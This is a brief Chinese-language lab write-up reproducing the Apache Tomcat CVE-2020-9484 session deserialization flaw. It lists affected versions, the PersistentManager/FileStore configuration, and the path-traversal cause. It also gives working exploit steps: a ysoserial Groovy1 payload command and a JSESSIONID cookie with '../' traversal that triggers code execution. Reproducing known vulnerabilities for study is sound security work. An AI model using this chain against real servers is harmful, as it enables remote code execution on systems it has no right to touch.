Tomcat Session(CVE-2020-9484)反序列化漏洞复现
影响版本
Apache Tomcat: 10.0.0-M1 to 10.0.0-M4
Apache Tomcat: 9.0.0.M1 to 9.0.34
Apache Tomcat: 8.5.0 to 8.5.54
Apache Tomcat: 7.0.0 to 7.0.103
漏洞复现
tomcat下载:https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/tomcat-10.0.0-M4.tar.gz
修改/usr/local/tomcat/conf/context.xml 添加Manager 保存退出
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/>
</Manager>
这一行配置了一个会话管理器,并指定了其类名为 org.apache.catalina.session.PersistentManager。PersistentManager 是Tomcat中的一个会话管理器,它能够把非活动的会话存储到硬盘中。
这一行配置了 PersistentManager 的存储方式。它使用 org.apache.catalina.session.FileStore 类,这意味着会话数据将被存储在文件系统中。
- className="org.apache.catalina.session.FileStore": 指定了用于存储会话数据的Store实现类。
- directory="/tomcat/sessions/": 指定了存储会话数据的目录。所有非活动的会话数据将被序列化并存储在这个目录中。
当用户需要加载session的时候,就会调用FileStore.load方法。这里load的流程为:
- 在session id后面加上
.session作为文件名 - 读取这个文件的内容,因为没有过滤
../所以这里会有一个路径穿越 - 将文件的内容反序列化,之所以能加载到gadget的依赖,是因为在
getObjectInputStream获取了当前的类加载器。


下载一个可以利用的组件(commons-collections4,groovy)放到/usr/local/tomcat/lib,运行tomcat
/usr/local/tomcat/bin/catalina.sh start
用ysoserial生成一个payload,放到/tmp目录下
java -jar ysoserial.jar Groovy1 "touch /tmp/2333" > test.session
访问tomcat带上Cookie:JSESSIONID=../../../../../tmp/test。就会将/tmp/test.session里的内容反叙拉祜,之后可以看到tmp下生成的文件。
参考链接
https://www.secpulse.com/archives/131630.html
https://www.freebuf.com/vuls/245232.html